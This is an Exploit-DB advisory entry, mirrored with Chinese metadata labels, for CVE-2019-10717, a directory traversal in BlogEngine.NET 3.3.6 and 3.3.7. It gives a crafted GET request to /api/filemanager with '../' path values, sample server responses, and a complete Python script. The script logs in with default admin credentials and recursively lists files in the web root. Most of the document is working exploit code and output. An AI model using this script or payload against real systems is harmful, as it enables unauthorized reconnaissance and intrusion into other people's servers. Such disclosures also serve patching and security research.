BlogEngine.NET 3.3.6/3.3.7 – ‘path’ Directory Traversal

  • 作者: Aaron Bishop
    日期: 2019-06-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47035/
  • # Exploit Title: Directory Traversal on BlogEngine.NET
    # Date: 24 Jun 2019
    # Exploit Author: Aaron Bishop
    # Vendor Homepage: https://blogengine.io/
    # Version: v3.3.7
    # Tested on: 3.3.7, 3.3.6
    # CVE : 2019-10717
    
    1. Description
    ==============
    
    BlogEngine.NET is vulnerable to a directory traversal.The page parameter, passed to /api/filemanager, reveals the contents of the directory.
    
    2. Proof of Concept
    =============
    
    Log in to the application and submit a GET request to /api/filemanager:
    
    Request:
    
    ~~~
    GET /api/filemanager?path=/../../ HTTP/1.1
    Host: $RHOST
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Cookie: $COOKIE
    Connection: close
    Upgrade-Insecure-Requests: 1
    ~~~
    
    Depending on how the request is submitted, the response may be XML or JSON
    
    XML Response
    
    ~~~
    HTTP/1.1 200 OK
    Cache-Control: no-cache
    Pragma: no-cache
    Content-Type: application/xml; charset=utf-8
    Expires: -1
    Server: Microsoft-IIS/8.5
    X-Powered-By: ASP.NET
    Date: Wed, 15 May 2019 01:58:46 GMT
    Connection: close
    Content-Length: 13030
    
    <ArrayOfFileInstance xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/BlogEngine.Core.FileSystem">
    <FileInstance>
    <Created>5/14/2019 6:58:46 PM</Created>
    <FileSize></FileSize>
    <FileType>Directory</FileType>
    <FullPath>~/App_Data/files/../..</FullPath>
    <IsChecked>false</IsChecked>
    <Name>...</Name>
    <SortOrder>0</SortOrder>
    </FileInstance>
    ...
    ~~~
    
    JSON Response
    
    ~~~
    HTTP/1.1 200 OK
    Cache-Control: no-cache
    Pragma: no-cache
    Content-Type: application/json; charset=utf-8
    Expires: -1
    Server: Microsoft-IIS/8.5
    X-Powered-By: ASP.NET
    Date: Wed, 15 May 2019 02:35:13 GMT
    Connection: close
    Content-Length: 10011
    
    [
    {
    "IsChecked":false,
    "SortOrder":0,
    "Created":"5/14/2019 7:35:13 PM",
    "Name":"...",
    "FileSize":"",
    "FileType":0,
    "FullPath":"~/App_Data/files/../..",
    "ImgPlaceholder":""
    }
    ...
    ~~~
    
    import argparse
    import json
    import os
    import re
    import requests
    import sys
    
    """
    Exploit for CVE-2019-10717
    
    CVE Identified by: Aaron Bishop
    Exploit written by: Aaron Bishop
    
    Outputs list of filenames found in web root
    
    python exploit.py -t $RHOST
    
    ?path=/../..
    /../../archive.aspx
    /../../archive.aspx.cs
    /../../archive.aspx.designer.cs
    /../../BlogEngine.NET.csproj
    /../../BlogEngine.NET.csproj.user
    /../../contact.aspx
    /../../contact.aspx.cs
    /../../contact.aspx.designer.cs
    """
    
    urls = {
    "login": "/Account/login.aspx",
    "traversal": "/api/filemanager"
     }
    
    def make_request(session, method, target, data={}):
    proxies = {
    "http": "127.0.0.1:8080",
    "https": "127.0.0.1:8080"
    }
    if method == 'GET':
    r = requests.Request(method, target, params=data)
    elif method == 'POST':
    r = requests.Request(method, target, data=data)
    prep = session.prepare_request(r)
    resp = session.send(prep, verify=False, proxies=proxies)
    return resp.text
    
    def login(session, host, user, passwd):
    resp = make_request(session, 'GET', host+urls.get('login'))
    login_form = re.findall('<input\s+.*?name="(?P<name>.*?)"\s+.*?(?P<tag>\s+value="(?P<value>.*)")?\s/>', resp)
    login_data = dict([(i[0],i[2]) for i in login_form])
    login_data.update({'ctl00$MainContent$LoginUser$UserName': user})
    login_data.update({'ctl00$MainContent$LoginUser$Password': passwd})
    resp = make_request(session, 'POST', host+urls.get('login'), login_data)
    
    def parse(body, path, outfile):
    paths = json.loads(body)
    new_paths = set()
    for i in paths:
    if i.get('FileType') == 0:
    new_paths.add(i.get('FullPath'))
    else:
    outfile.write("{path}\n".format(path=i.get('FullPath')))
    return new_paths
    
    def traverse(session, host, paths, outfile, visited=set()):
    paths = set(paths) - visited
    for path in paths:
    print path
    outfile.write("\n?path={path}\n".format(path=path))
    visited.add(path)
    resp = make_request(session, 'GET', host+urls.get('traversal'), data=dict(path=path))
    new_paths = parse(resp, path, outfile)
    if new_paths:
    traverse(session, host, new_paths, outfile, visited)
    
    def main(host, user, passwd, root, outfile):
    with requests.Session() as s:
    login(s, host, user, passwd)
    traverse(s, host, root, outfile)
    
    if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Exploit CVE-2019-10717 Path traversal')
    parser.add_argument('-t', '--target', action="store", dest="target", required=True, help='Target host')
    parser.add_argument('-u', '--user', default="admin", action="store", dest="user", help='Account on blog')
    parser.add_argument('-p', '--passwd', default="admin", action="store", dest="passwd", help='Password for account')
    parser.add_argument('-r', '--root', nargs='+', default="/../..", help='Starting paths')
    parser.add_argument('-s', '--ssl', action="store_true", help="Force SSL")
    parser.add_argument('-o', '--outfile', type=argparse.FileType('w'), default='CVE-2019-10717.txt')
    args = parser.parse_args()
    
    protocol = "https://" if args.ssl else "http://"
    if isinstance(args.root, str):
    args.root = [args.root]
    main(protocol + args.target, args.user, args.passwd, args.root, args.outfile)